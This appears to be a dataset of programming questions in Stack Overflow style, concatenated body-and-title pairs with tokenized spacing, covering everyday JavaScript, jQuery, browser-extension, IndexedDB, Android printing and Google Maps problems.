'm trying to use AJAX to dynamically generate a JquerUI Accordion based on what is selected in a box . Currently I haveWith JSNow this works the first time I change my selection , but after that it reverts to plain old unformatted HTML . As if the call to .accordion ( ) was never done . I 'm guessing this has something to do with JQuery not wanting me to format something twice , but I really have no idea . < div style= '' display : none '' id= '' testselect '' > < /div > $ ( `` # courseselect '' ) .change ( function ( ) { $ ( `` # testselect '' ) .html ( `` '' ) ; // Empty any previous data $ ( `` # testselect '' ) .css ( `` display '' , `` block '' ) ; // Display it if it was hidden $ .getJSON ( 'json.php ? show=tests & courseid= ' + $ ( this ) .val ( ) , function ( data ) { for ( x in data ) { $ ( `` # testselect '' ) .append ( `` < h3 value=\ '' '' + data [ x ] .uno + `` \ '' > < a href=\ '' # \ '' > '' + data [ x ] .name + `` < /a > < /h3 > '' ) ; $ ( `` # testselect '' ) .append ( `` < div > Foo < /div > '' ) ; } $ ( `` # testselect '' ) .accordion ( { change : function ( event , ui ) { courseid = ui.newHeader.attr ( `` value '' ) ; } } ) ; } ) ; } ) ;",JQueryUI calling .accordion twice on one id "JS : At first I made a function that received a parameter and returned jQuery such as : But then I got an email form the review and they told me I have to use jQuery file with the original file name and completely unmodified.I started to search for an alternative and found this solution , but there is no way it work.jQuery object is created , but I ca n't find any elements . $ ( `` # id '' ) .length is always 0 . With the previous method it was always found.My current code ( which does n't work ) The jQuery file is loading on my browser.xul overlay : Am I loading in the right place ? How can I use jQuery to modify the content on a page ( HTML ) with the original jQuery file , is it even possible ? function getjQuery ( window ) { /*jquery code*/ ( window ) ; return window.jQuery ; } AddonNameSpace.jQueryAux = jQuery ; AddonNameSpace. $ = function ( selector , context ) { return // correct window new AddonNameSpace.jQueryAux.fn.init ( selector , context||contentWindow ) ; } ; AddonNameSpace. $ .fn = AddonNameSpace. $ .prototype = AddonNameSpace.jQueryAux.fn ; AddonNameSpace.jQuery = AddonNameSpace. $ ; < script type= '' text/javascript '' src= '' chrome : //addon/content/bin/jquery-1.5.2.min.js '' / >",How can I use jQuery 1.5.2+ on a Firefox addon ? "JS : How do I write a Javascript function that accepts a variable number of parameters , and forwards all of those parameters to other anonymous functions ? For example , consider the scenario of a method that fires an event : Especially since I have an event factory that generates these fire methods , these methods have no interest in knowing how many parameters a given event or its handlers consume . So I have it hard-wired at 7 right now ( a through g ) . If it 's any less , no problem . If it 's any more , they get cut off . How can I just capture and pass on all parameters ? Thanks . ( Using jQuery or any other Javascript framework is not an option here . ) function fireStartedEvent ( a , b , c , d , e , f , g , ... ) { for ( var i = 0 ; i < startedListeners.length ; i++ ) { startedListeners [ i ] ( a , b , c , d , e , f , g , ... ) ; } }",How to write a JS function that accepts and `` forwards '' variable number of parameters ? "JS : I 'm trying to build a chrome extension that uses the page action popup feature , but none of my javascript seems to be working . Here is the source : I ca n't see the logger statement anywhere . I ca n't seem to get anything to run . Is this how popups are supposed to work ? The docs make no mention of these popups being static HTML only . < ! DOCTYPE html > < html > < body > < input type= '' button '' id= '' button1 '' value= '' first button '' > < input type= '' button '' id= '' button2 '' value= '' second button '' > < script > console.log ( `` do anything ! ! `` ) ; < /script > < /body > < /html >",Can you use javascript in a page action popup ? JS : JSLint is complaining that ( true ) is a weird condition . Which is understandable if I was n't using it on a reversed switch statement . So is JSLint wrong or should I not be using reversed switch statements ? Thanks for any help/enlightenment . switch ( true ) { case ( menuLinksLength < 4 ) : numberOfColumns = 1 ; break ; case ( menuLinksLength > 3 & & menuLinksLength < 7 ) : numberOfColumns = 2 ; break ; case ( menuLinksLength > 6 & & menuLinksLength < 10 ) : numberOfColumns = 3 ; break ; case ( menuLinksLength > 9 ) : numberOfColumns = 4 ; break ; default : numberOfColumns = 0 ; },Is a reversed switch statement acceptable JavaScript ? "JS : I am targeting both `` back '' and `` forward '' buttons together with this JavaScript snippet : How can I distinguish between `` back '' and `` forward '' buttons and target their events separately ? window.addEventListener ( `` popstate '' , function ( event ) { // do something cool }",Target browser back and forward buttons individually "JS : I inherited a project and I came across something strange . The guy who started the project is an expereinced programmer , definitely more so then myself . Is there any value or reason ( no matter how bad ) in doing this : It works now and it 's in a portion of the code that I do n't have to touch . I do n't want to change it and have it produce unexpected consequences without knowing what it might do . jQuery.each ( player , function ( key , val ) { if ( el = $ ( `` # pr_attr_plain_ '' +key ) ) { el.text ( val === `` '' ? 0 : `` `` + val ) ; } } ) ; if ( el = $ ( `` # pr_attr_plain_ '' +key ) )",a single equals in an if . Javascript . Any good reason ? "JS : I 'm playing with destructuring : Is there a way to get the self object without adding such a property ? In one line of code if possible ! Thank you in advance for your help . function create ( ) { let obj= { a:1 , b:2 } obj.self=obj return obj } const { a , self } = create ( ) function create ( ) { let obj= { a:1 , b:2 } // removes obj.self=obj return obj } const { a , this } = create ( )",Reference object when destructuring "JS : Here is the code that i tried for snow flakes . Everything seems ok but once the certain period of time that script get unresponsive means ( It slow down the browser firefox ) . I am not sure why this should happen.How can i make it as responsive without cause anything to browser.Here is FIDDLEHow can i make it responsive script which does n't cause any . ! I think I made a mistake in looping the javascript function : ( Any Suggestion Would Be great.ThanksJavascript : // window.setInterval ( generateSnow , 0 ) ; var windowHeight = jQuery ( document ) .height ( ) ; var windowWidth = jQuery ( window ) .width ( ) ; function generateSnow ( ) { for ( i = 0 ; i < 4 ; i++ ) { var snowTop = Math.floor ( Math.random ( ) * ( windowHeight ) ) ; snowTop = 0 ; var snowLeft = Math.floor ( Math.random ( ) * ( windowWidth - 2 ) ) ; var imageSize = Math.floor ( Math.random ( ) * 20 ) ; jQuery ( 'body ' ) .append ( jQuery ( ' < div / > ' ) .addClass ( 'snow ' ) .css ( 'top ' , snowTop ) .css ( 'left ' , snowLeft ) .css ( 'position ' , 'absolute ' ) .html ( '* ' ) ) ; } } function snowFalling ( ) { jQuery ( '.snow ' ) .each ( function ( key , value ) { if ( parseInt ( jQuery ( this ) .css ( 'top ' ) ) > windowHeight - 80 ) { jQuery ( this ) .remove ( ) ; } var fallingSpeed = Math.floor ( Math.random ( ) * 5 + 1 ) ; var movingDirection = Math.floor ( Math.random ( ) * 2 ) ; var currentTop = parseInt ( jQuery ( this ) .css ( 'top ' ) ) ; var currentLeft = parseInt ( jQuery ( this ) .css ( 'left ' ) ) ; jQuery ( this ) .css ( 'top ' , currentTop + fallingSpeed ) ; if ( movingDirection === 0 ) { jQuery ( this ) .css ( 'bottom ' , currentLeft + fallingSpeed ) ; } else { jQuery ( this ) .css ( 'bottom ' , currentLeft + - ( fallingSpeed ) ) ; } } ) ; } window.setInterval ( snowFalling , 15 ) ; window.setInterval ( generateSnow , 1000 ) ;",Looping the Function cause it unresponsive in javascript "JS : I 'd like to use IndexedDB to process a lot of data . Too much data to fit in memory . To do this , I would like to use Firefox 's IndexedDB persistent storage , which allows me to store more than 2GB worth of data ( Firefox apparently has a limit of 2GB imposed on non-persistent storage ) .However , I 've run into an issue . Firefox does not appear to be imposing a limit on the amount of data I can store in persistent storage . In fact , if I leave the following sample running , it will apparently run until the disk is full ! Sample ( Online ) ( Must be run in Firefox ! ) : For obvious reasons , filling up a user 's drive is not ideal . If the user does not have enough free disk space , it would be better not to try to run it at all , or at-least stop when more-than X % full.Strangely , according to MDN , it seems like the browser should be imposing a limit on the amount of data stored : The maximum browser storage space is dynamic — it is based on your hard drive size . The global limit is calculated as 50 % of free disk space . In Firefox , an internal browser tool called the Quota Manager keeps track of how much disk space each origin is using up , and deletes data if necessary.So if your hard drive is 500GB , then the total storage for a browser is 250GB . If this is exceeded , a process called origin eviction comes into play , deleting entire origin 's worth of data until the storage amount goes under the limit again . There is no trimming effect put in place , to delete parts of origins — deleting one database of an origin could cause problems with inconsistency.There 's also another limit called group limit — this is defined as 20 % of the global limit . Each origin is part of a group ( group of origins ) . There 's one group for each eTLD+1 domain.However , my testing never threw any errors while it filled up the drive.Now my question is , is there any way to ensure putting a lot of data into Firefox 's IndexedDB persistent storage will not fill up a user 's drive , and make them very , very angry ? < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' / > < title > Firefox IndexedDB Limit Test < /title > < /head > < body > < script > ( function ( ) { 'use strict ' ; var IDBReq = indexedDB.open ( 'testdb ' , { version : 1 , storage : 'persistent ' } ) ; IDBReq.onupgradeneeded = function ( ) { this.result.createObjectStore ( 'data ' ) ; } ; var logmsg ; IDBReq.onsuccess = function ( ) { var DB = this.result ; var size = 0 ; var next = function ( i ) { var data = new Uint8Array ( 0xFFFF ) ; crypto.getRandomValues ( data ) ; size += data.length ; logmsg = 'size : ' + size + ' b ' + ( size / ( 1024 * 1024 * 1024 ) ) + 'gb ' ; var store = DB.transaction ( [ 'data ' ] , 'readwrite ' ) .objectStore ( 'data ' ) ; var storeReq = store.add ( data , 'data- ' + i ) ; storeReq.onsuccess = function ( ) { next ( i + 1 ) ; } ; storeReq.onerror = function ( ) { console.log ( 'storeReq error ' ) ; console.log ( this.error ) ; } ; } ; next ( 1 ) ; } ; setInterval ( function ( ) { if ( logmsg ) { console.log ( logmsg ) ; logmsg = null ; } } , 1000 ) ; } ) ( ) ; < /script > < /body > < /html >","Detect Firefox IndexedDB or Web Storage storage limit , without filling up the disk ?" "JS : This is my Code here Here In my activity I am using Epson SDK to print data form web-view to android activity..So on Web-veiw Onclick It will start Printer Activity and It will printWhat I am trying to do is ... .. OnClick from Web-view it will Open printer Activity so that it should print and Exit ... So here I have created a Web-view ... With the help of JS it sill Open my activity form Web-view ( onclick ) till now its fine ... But I tried to Add print and exit.. onclick but Its not working ... Because I need to select language and Printer Model ... .How ever in shared_DiscoveryActivity I am adding Printer and saved it in shared prefs ... so it will not ask any more ... its working So Here My problem Is that 1 ) Printer is Asking for Model No and Language So Can Any one suggest me How to Give them Manually instead of Selectionhere is the Old Code For this I got these Values at System.out.print2 ) This is the Major Problem Here I am defining Printer In Shared Pinter So In my Code It will Check for Printer On that addressBut Here If printer Is not Found What should I do ... Because On webview Printer Will start at Backend.. But App remains in webview So its crashing ... Please suggest me on this kindUpdate 1Here I have Added a New File Test_Pthis will print in background without showing any info to User OnClick It will start Printing Here My problem is that If the Printer is Offline Or User is not on Same Network App Is Crashing instead of that I tried to Give a Message That Print is not avilable/Conffiged Please try again ... but The Text or Alert Is not Showing.I am Getting This Error If printer is offline or Not FoundActually If Printer Not Available it should go to Config printer and Then print again , , , But I tried to Make a msg But Its crashing Please Help me on this thanks ... . mPrinter = new Printer ( ( ( SpnModelsItem ) mSpnSeries.getSelectedItem ( ) ) .getModelConstant ( ) , ( ( SpnModelsItem ) mSpnLang.getSelectedItem ( ) ) .getModelConstant ( ) , mContext ) ; System.out : -- -- - spnSeries -- -- -android.widget.Spinner { 24440249 VFED..C. ... ... .. 0,444-466,516 # 7f0e007b app : id/spnModel } System.out : -- -- - lang -- -- -android.widget.Spinner { 1a6c617c VFED..C. ... ... .. 0,604-366,676 # 7f0e007d app : id/spnLang } System.out : -- -- - printer -- -- -com.epson.epos2.printer.Printer @ b8250d6 FATAL EXCEPTION : mainProcess : com.epson.epos2_printer , PID : 15489java.lang.NullPointerException : Attempt to invoke virtual method 'java.lang.String android.content.Context.getString ( int ) ' on a null object referenceat com.epson.epos2_printer.ShowMsg.showException ( ShowMsg.java:16 ) at com.epson.epos2_printer.Test_P.connectPrinter ( Test_P.java:173 ) at com.epson.epos2_printer.Test_P.printData ( Test_P.java:249 ) at com.epson.epos2_printer.Test_P.runPrintReceiptSequence ( Test_P.java:295 ) at com.epson.epos2_printer.Test_P.access $ 200 ( Test_P.java:33 ) at com.epson.epos2_printer.Test_P $ 2.run ( Test_P.java:128 ) at android.os.Handler.handleCallback ( Handler.java:739 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:150 ) at android.app.ActivityThread.main ( ActivityThread.java:5408 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:964 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:759 )",Android EPSON thermal Print data from web-view on click ? If Printer Not Found ? JS : If I have something like : will let x = 20 ; var z = 20 ; x === z,Is a let variable equal to a var variable ? "JS : I 've found unknown for me code construction on JQuery site . After some formatting it looks like : What does the first line of the function mean ? Is it any trick or standard JS code construction ? function ( a , c ) { c==null & & ( c=a , a=null ) ; return arguments.length > 0 ? this.bind ( b , a , c ) : this.trigger ( b ) }",What a strange syntax ? "JS : I tried the following code in chrome 's consoleThis shows length as 4 as expected.Now I tried setting length property as writable : falseThis results in 5 even though the property is set to writable : false . How did that happen ? Should n't it have remained the same as it is set to read-only ( writable : false ) ? var a = new Array ( 1,2,3,4 ) ; a.length Object.defineProperty ( a , `` length '' , { writable : false } ) ; a [ 4 ] = 5 ; a.length",Why an array 's length property 's value changes even when set as read-only in javascript ? "JS : I 'm building a tool to generate pdf file from data , and I need to build in two formats : 105mm * 148mm and 105mm * 210mm . So I got my entire document and now it 's time for me to insert page breaks . I do it with a simple class : Now I have to insert this class into my v-for loop . So a basic idea is to compute an interval , like each the index is a multiple of 6 , I insert one . But it 's not the best way to do it , I want to insert a break when the content is above 90mm.In order to do that , I wanted to compute the distance between 2 breaks and insert a new one if the distance is near 90mm . But , I ca n't find a way to access to my dynamic DOM elements ... So the question is simple : How to compute this distance ? Or if there is a better way to achieve my goal , what can I improve ? .page-break { display : block ; page-break-before : always ; }",What ’ s the best approach to compute distance between DOM Elements in Vuejs ? JS : I have the following div : where Clients can write their SQL queries . What I was trying to do is wrap words the client enters right after hitting Space with a span and give this span a certain class according to the word typed : exampleIf the client types select i need to wrap this select word like this in the div : CSSIt is something very similar to what jsFiddle does . How can i achieve this ? Here is what i have tried so far : jsFiddle < div id= '' query '' style= '' width:500px ; height:200px ; border:1px solid black '' spellcheck= '' false '' contenteditable= '' true '' > < /div > ​ < span class='select ' > SELECT < /span > < span > emp_name < /span > .select { color : blue ; text-transform : uppercase ; } $ ( function ( ) { $ ( 'div ' ) .focus ( ) ; $ ( 'div ' ) .keyup ( function ( e ) { //console.log ( e.keyCode ) ; if ( e.keyCode == 32 ) { var txt = $ ( 'div ' ) .text ( ) ; var x = 'SELECT ' ; $ ( 'div : contains ( `` '+x+ ' '' ) ' ) .wrap ( `` < span style='color : blue ; text-transform : uppercase ; ' > '' ) ; if ( txt == 'SELECT ' ) { console.log ( 'found ' ) ; // why This Does n't do any thing ? } } } ) ; } ) ;,Wrap certain word with < span > using jquery "JS : Working on a rummy style game with several twists : Using two 5 suite decks instead of one 4 suite deck ( 116 cards total ) .Suites run from 3 to King and each deck has 3 jokers ( so no 2 and no Ace ) .11 rounds , first round each player has 3 cards , final round each player has 13 cards.Besides Jokers being wild , each card value takes a turn being wild and this corresponds to the number of cards in your hand.So round one 3 's are wild round two 4 's are wild ... round 11 Kings are wild ( Kings have a numeric value of 13 ) . The goal is to lay down all your cards . Once someone has 'gone out ' ( laid down all cards ) remaining players have one turn to also lay down all cards or as many valid sets/runs as they can . You gain points for whatever cards are left in your hand.Players can only lay cards down in sets or runs that have a minimum of 3 cards in them , i.e set : { 3 : c , 3 : d , 3 : h } , run : { 3 : c , 4 : c , 5 : c } . There are also rounds where you have to get a set/run with more then 3 cards because the number of cards in hand is not evenly divisible by 3.To start hand evaluation I split the cards into these structures : And then delete any suites/buckets that do n't have any cards in them.Set evaluation is pretty straight forward but run evaluation is ... not so straight forward.I 've come up with this range based run evaluationThis works for a lot of cases but it struggles with duplicates in the suite.One of the toughest cases I 've run into while play-testing it is along the following lines : { 3 : clubs , wild , 3 : spades , 4 : clubs , 5 : clubs , 6 : clubs , 6 : clubs 7 : clubs , 8 : clubs , 10 : spades , 10 : hearts , wild } So 12 cards in hand and a valid lay down can be formed : which would look like this : sets : [ { 3 : c , 3 : s , wild } , { 10 : s , 10 : h , wild } ] runs : [ { 4 : c , 5 : c , 6 : c } , { 6 : c , 7 : c , 8 : c } ] Unfortunately I end up with something along these lines : sets : [ { 6 : c , 6 : c , wild } , { 10 : s , 10 : h , wild } ] runs : [ { 3 : c,4 : c,5 : c } ] OR ( depending on if I evaluate for sets or runs first ) sets : [ { 10 : s , 10 : h , wild , wild } ] runs : [ { 3 : c , 4 : c , 5 : c , 6 : c , 7 : c , 8 : c } ] with the other cards left over.I also run into issues in early rounds when I have hands like this : { 6 : h , 7 : h , 7 : h , 8 : h } The above is an issue when trying to lay down a partial hand . { 6 : h , 7 : h , 8 : h } is a valid run in partial hand situations and the player would only be left with 7 points . But because I do n't get rid of duplicates it does n't evaluate this as a possible run and the player is left with all the points ( 28 ) .My question is : Is there a better way/algorithm for doing this entire process ? My current thoughts for solving this are kinda depressing as they involve lots of case/if statements for specific hand lengths/game situations/suite lengths . Where sometime I remove duplicates sometimes I do n't sometimes I split the suite sometimes I do n't ... Lots of headaches basically where I 'm not sure that I 've covered all possible hands/partial lay down situations . var suites = { 'clubs ' : [ ] , 'diamonds ' : [ ] , 'hearts ' : [ ] , 'spades ' : [ ] , 'stars ' : [ ] } ; var wilds = [ ] ; var buckets = { 3 : [ ] , 4 : [ ] , 5 : [ ] , 6 : [ ] , 7 : [ ] , 8 : [ ] , 9 : [ ] , 10 : [ ] , 11 : [ ] , 12 : [ ] , 13 : [ ] } ; //can have more then one run/set so these are used to hold valid runs/setsvar runs = [ ] ; var sets = [ ] ; var r_num = -1 ; //starts at -1 so ++ will give 0 indexvar s_num = -1 ; for ( var s in suites ) { if ( suites.hasOwnProperty ( s ) ) { var suite_length = suites [ s ] .length ; if ( suite_length > = 2 ) { //only evaluate suits with at least 2 cards in them var range = suites [ s ] [ suite_length - 1 ] .value - suites [ s ] [ 0 ] .value ; r_num++ ; runs [ r_num ] = [ ] ; if ( ( range - 1 ) > = wilds.length & & ( range - 1 ) == suite_length ) { suites [ s ] .forEach ( function ( card ) { //large range needs several wilds runs [ r_num ] .push ( card ) ; } ) ; while ( runs [ r_num ] .length < = ( range + 1 ) & & wilds.length ! = 0 ) { runs [ r_num ] .push ( wilds.pop ( ) ) ; } } else if ( range == 1 & & wilds.length > = 1 ) { //needs one wild suites [ s ] .forEach ( function ( card ) { runs [ r_num ] .push ( card ) ; } ) ; runs [ r_num ] .push ( wilds.pop ( ) ) ; } else if ( range == suite_length & & wilds.length > = 1 ) { //also needs one wild suites [ s ] .forEach ( function ( card ) { runs [ r_num ] .push ( card ) ; } ) ; runs [ r_num ] .push ( wilds.pop ( ) ) ; } else if ( ( range + 1 ) == suite_length ) { //perfect run suites [ s ] .forEach ( function ( card ) { runs [ r_num ] .push ( card ) ; } ) ; } } } } } ;","Combinatorics of cardgame hand evaluation for runs , with wildcards and duplicates" "JS : Recently I 've read this performance guide Let 's make the web faster and was puzzled by `` Avoiding pitfalls with closures '' recommendations ( as if these advices were given for CommonLisp users where variable scoping is dynamic ) : when f is invoked , referencing a is slower than referencing b , which is slower than referencing c.It 's quite evident that referencing local variable c is faster than b , but if the iterpreter is written properly ( without dynamic scoping - something like chained hashtable lookup.. ) the speed difference should be only marginal . Or not ? var a = ' a ' ; function createFunctionWithClosure ( ) { var b = ' b ' ; return function ( ) { var c = ' c ' ; a ; b ; c ; } ; } var f = createFunctionWithClosure ( ) ; f ( ) ;",Javascript : why the access to closure variable might be slow "JS : Update : JSFiddle : https : //jsfiddle.net/Qanary/915fg6ka/I am trying to make my curveText function work ( see bottom of this post ) . It normally works with fabric.js 1.2.0 however when I updated to fabric.js 1.7.9 , the curving function locates the text in wrong positions when below two actions executed sequentially.ACTIONS : - ISSUE 1-text group scale is changed ( I mean dragging the corner points by mouse to change size ) .-setText calledfabric js 1.2.0 : fabric js 1.7.9I debugged it and the reason for that is _updateObjectsCoords in fabricjs because when I removed it from the code and 2 actions I listed above works fine.ISSUE 2 : But this time I have faced below problem which is group items are not correctly located when adding the text to canvas for the first time.with _updateObjectsCoordswithout _updateObjectsCoordsHere My Function : var CurvedText = ( function ( ) { function CurvedText ( canvas , options ) { this.opts = options || { } ; for ( var prop in CurvedText.defaults ) { if ( prop in this.opts ) { continue ; } this.opts [ prop ] = CurvedText.defaults [ prop ] ; } this.canvas = canvas ; this.group = new fabric.Group ( [ ] , { selectable : this.opts.selectable , radiusVal : this.opts.radius , spacingVal : this.opts.spacing , textFliping : this.opts.reverse } ) ; this.canvas.add ( this.group ) ; this.canvas.centerObject ( this.group ) ; this.setText ( this.opts.text ) ; this.canvas.setActiveObject ( this.group ) ; this.canvas.getActiveObject ( ) .setCoords ( ) ; } CurvedText.prototype.setObj = function ( obj ) { this.group=obj ; } ; CurvedText.prototype.setText = function ( newText ) { this.opts.top=this.group.top ; this.opts.left=this.group.left ; while ( newText.length ! == 0 & & this.group.size ( ) > newText.length ) { this.group.remove ( this.group.item ( this.group.size ( ) -1 ) ) ; } for ( var i=0 ; i < newText.length ; i++ ) { if ( this.group.item ( i ) === undefined ) { var letter = new fabric.Text ( newText [ i ] , { selectable : true } ) ; this.group.add ( letter ) ; } else { this.group.item ( i ) .text = newText [ i ] ; } } this.opts.text = newText ; this._setFontStyles ( ) ; this._render ( ) ; } ; CurvedText.prototype._setFontStyles = function ( ) { for ( var i=0 ; i < this.group.size ( ) ; i++ ) { if ( this.opts.textStyleName ) { if ( this.opts.textStyleName === 'fontFamily ' ) { this.group.item ( i ) .setFontFamily ( this.opts.fontFamily ) ; } if ( this.opts.textStyleName === 'fontColor ' ) { this.group.item ( i ) .setFill ( this.opts.fontColor ) ; } } else { this.group.item ( i ) .setFontFamily ( this.opts.fontFamily ) ; this.group.item ( i ) .setFill ( this.opts.fontColor ) ; } this.group.item ( i ) .setFontSize ( this.opts.fontSize ) ; this.group.item ( i ) .fontWeight = this.opts.fontWeight ; } } ; CurvedText.prototype._render = function ( ) { var curAngle=0 , angleRadians=0 , align=0 ; // Object may have been moved with drag & drop if ( this.group.hasMoved ( ) ) { this.opts.top = this.group.top ; this.opts.left = this.group.left ; } this.opts.angle = this.group.getAngle ( ) ; this.opts.scaleX = this.group.scaleX ; this.opts.scaleY = this.group.scaleY ; this.opts.radius = this.group.radiusVal ; this.opts.spacing = this.group.spacingVal ; this.opts.reverse = this.group.textFliping ; // Text align if ( this.opts.align === 'center ' ) { align = ( this.opts.spacing / 2 ) * ( this.group.size ( ) - 1 ) ; } else if ( this.opts.align === 'right ' ) { align = ( this.opts.spacing ) * ( this.group.size ( ) - 1 ) ; } for ( var i=0 ; i < this.group.size ( ) ; i++ ) { // Find coords of each letters ( radians : angle* ( Math.PI / 180 ) if ( this.opts.reverse ) { curAngle = ( -i * parseInt ( this.opts.spacing , 10 ) ) + align ; angleRadians = curAngle * ( Math.PI / 180 ) ; this.group.item ( i ) .setAngle ( curAngle ) ; this.group.item ( i ) .set ( 'top ' , ( Math.cos ( angleRadians ) * this.opts.radius ) ) ; this.group.item ( i ) .set ( 'left ' , ( -Math.sin ( angleRadians ) * this.opts.radius ) ) ; } else { curAngle = ( i * parseInt ( this.opts.spacing , 10 ) ) - align ; angleRadians = curAngle * ( Math.PI / 180 ) ; this.group.item ( i ) .setAngle ( curAngle ) ; this.group.item ( i ) .set ( 'top ' , ( -Math.cos ( angleRadians ) * this.opts.radius ) ) ; this.group.item ( i ) .set ( 'left ' , ( Math.sin ( angleRadians ) * this.opts.radius ) ) ; } } // Update group coords this.group._calcBounds ( ) ; this.group._updateObjectsCoords ( ) ; this.group.top = this.opts.top ; this.group.left = this.opts.left ; this.group.saveCoords ( ) ; this.canvas.renderAll ( ) ; } ; CurvedText.defaults = { top : 0 , left : 0 , scaleX : 1 , scaleY : 1 , angle : 0 , spacing:0 , radius:0 , text : `` , align : 'center ' , reverse : '' , fontSize:16 , fontWeight : 'normal ' , selectable : true , fontFamily : '' , fontColor : 'black ' , textStyleName : '' } ; return CurvedText ; } ) ( ) ;",Fabric JS _updateObjectsCoords alternative ? ( Migration issue to 1.7.9 ) "JS : On Stackers ' recommendation , I have been reading Crockford 's excellent Javascript : The Good Parts.It 's a great book , but since so much of it is devoted to describing the best way to use Javascript 's basic functionality , I 'm not sure how I can put his advice into practice without duplicating the efforts of many other Javascript programmers.Take this passage , for example : When you make a new object , you can select the object that should be its prototype . The mechanism that Javascript provides to do this is messy and complex , but it can be significantly simplified . We will add a create method to the Object function . The create method creates a new object that uses an old object as its prototype.I could manually add this code to all my Javascript projects , but keeping track of everything would be a huge pain.Are there any libraries that implement The Good Part 's recommendations and thereby save me the trouble of having to keep track of them ( / physically type them all out ) ? if ( typeof Object.create ! == 'function ' ) { Object.create = function ( o ) { var F = function ( ) { } ; F.prototype = o ; return new F ( ) ; }",Best way to use Javascript 's `` good parts '' "JS : I am able to draw multiple polygon by using Google Draw manager . Now I am not able to select specific polygon from multiple polygon and delete and edit it . Also not able to get new array after edit or delete.My demo.js code is as follows : And My HTML code is as follows : You can find polygon image for reference : Now I want to select one of polygon from following image and want to delete or update it.Some help will be really appreciable . $ scope.map = { center : { latitude : 19.997454 , longitude : 73.789803 } , zoom : 10 , //mapTypeId : google.maps.MapTypeId.ROADMAP , //radius : 15000 , stroke : { color : ' # 08B21F ' , weight : 2 , opacity : 1 } , fill : { color : ' # 08B21F ' , opacity : 0.5 } , geodesic : true , // optional : defaults to false draggable : false , // optional : defaults to false clickable : false , // optional : defaults to true editable : false , // optional : defaults to false visible : true , // optional : defaults to true control : { } , refresh : `` refreshMap '' , options : { scrollwheel : true } , Polygon : { visible : true , editable : true , draggable : true , geodesic : true , stroke : { weight : 3 , color : 'red ' } } , source : { id : 'source ' , coords : { 'latitude ' : 19.9989551 , 'longitude ' : 73.75095599999997 } , options : { draggable : false , icon : 'assets/img/person.png ' } } , isDrawingModeEnabled : true } ; $ scope.drawingManagerOptions = { drawingControl : true , drawingControlOptions : { position : google.maps.ControlPosition.TOP_CENTER , drawingModes : [ //google.maps.drawing.OverlayType.CIRCLE , google.maps.drawing.OverlayType.POLYGON , ] } , circleOptions : { fillColor : ' # BCDCF9 ' , fillOpacity:0.5 , strokeWeight : 2 , clickable : false , editable : true , zIndex : 1 } , polygonOptions : { fillColor : ' # BCDCF9 ' , strokeColor : ' # 57ACF9 ' , fillOpacity : 0.5 , strokeWeight : 2 , clickable : false , editable : true , zIndex : 1 } } ; var coords = [ ] ; var polygon ; $ scope.eventHandler = { polygoncomplete : function ( drawingManager , eventName , scope , args ) { polygon = args [ 0 ] ; var path = polygon.getPath ( ) ; for ( var i = 0 ; i < path.length ; i++ ) { coords.push ( { latitude : path.getAt ( i ) .lat ( ) , longitude : path.getAt ( i ) .lng ( ) } ) ; } } , } ; $ scope.removeShape = function ( ) { google.maps.event.clearListeners ( polygon , 'click ' ) ; google.maps.event.clearListeners ( polygon , 'drag_handler_name ' ) ; polygon.setMap ( null ) ; } < ui-gmap-google-map center= '' map.center '' zoom= '' map.zoom '' options= '' map.options '' control= '' map.control '' > < ui-gmap-marker coords= '' map.source.coords '' options= '' map.source.options '' idkey= '' map.source.id '' > < /ui-gmap-marker > < ui-gmap-drawing-manager options= '' drawingManagerOptions '' control= '' drawingManagerControl '' events= '' eventHandler '' > < /ui-gmap-drawing-manager > < /ui-gmap-google-map >",Not able to delete selected polygon in ui-gmap-google-map "JS : I 'm very new to JavaScript . I 'm reading from JavaScript good parts . It says : Every function object is also created with a prototype propertySo I did something like this : Using Chrome 's developer tools , I find the output as follows : I 'm really confused with this output . Why does constructor 's prototype property again nested with constructor ? And why does this goes on like a chain ? Where I 'm missing the concept ? Thanks in advance . function test ( ) { } console.log ( test.prototype ) ;",Why functions prototype is chained repeatedly ? "JS : so I have a leaflet map with lot of markers placed on it . I want to have a popup with like the status of asset etc on 'hover ' over the marker . I see some examples on google and try to implement but none of them is firing any events . here is my code with my attempt . how can i achieve this feature ? do i have to use somekind of tooltip instead of popup ? so I added the mouseover function and is responding on the console with error , so at least i know the listening part is working buildMarkerLayer = ( rawAssetsObjects ) = > { let markersGroup = null ; var self = this ; markersGroup = L.markerClusterGroup ( { spiderfyOnMaxZoom : true , showCoverageOnHover : true , zoomToBoundsOnClick : true , spiderfyDistanceMultiplier : 2 } ) ; self. $ localForage.getItem ( 'showAllAreas ' ) .then ( ( _showAll ) = > { if ( _showAll ) { this.loadAllAreas ( ) ; } else { this.hideAllAreas ( ) ; } } ) ; angular.forEach ( rawAssetsObjects , function ( _asset ) { if ( _asset.latitude & & _asset.longitude ) { markersGroup.addLayer ( L.marker ( L.latLng ( _asset.latitude , _asset.longitude ) , { id : _asset.id , icon : L.divIcon ( { html : self.siMarkers.createHTMLMarker ( _asset ) } ) } ) .on ( 'click ' , function ( e ) { //dismiss the event timeline self. $ mdSidenav ( 'right ' ) .close ( ) ; self.centerOnClick ( _asset ) ; //set the selected asset to a shared service for availability in //other controllers self.siMapRam.setActive ( _asset ) ; //inform detail controller of a newly selected asset to query self. $ rootScope. $ broadcast ( 'ActiveAssetChange ' ) ; self.dgModal.display ( ) ; } ) .bindPopup ( 'work ' ) .on ( 'mouseover ' , function ( ev ) { markersGroup.openPopup ( ) ; } ) ) ; } ; } ) ; return markersGroup }",Mouse over Popup on multiple markers leaflet.js ? "JS : This is a somewhat noob-question for someone who had a few years of web development experience , but after not finding the answer on either Programmer Stack Exchange or Google , I have decided to ask it here.I am using Express web framework for Node.js , but this question is not specific to any web framework or programming language.Here 's a list of games that are queried from the database . Each game entity is a single table row , generated using a for-loop : Each Rating block , as well as each Buy button/modal dialog are generated by the for-loop with an id that matches the game . For example , the Buy button for Assassin 's Creed will have id= '' price-assassins-creed '' . # { variable } - is how you reference a variable in Jade , passed in from the server.andandMultiply that by the number of games and that 's how many inline scripts I have on one page.Worse yet , I have to account for the following cases : User 's not logged-in : display above rating script in read-only mode.User 's logged-in , but has n't voted yet : ... in that case , use the following script : User 's logged-in but suspended from rating : Copy and paste yet another 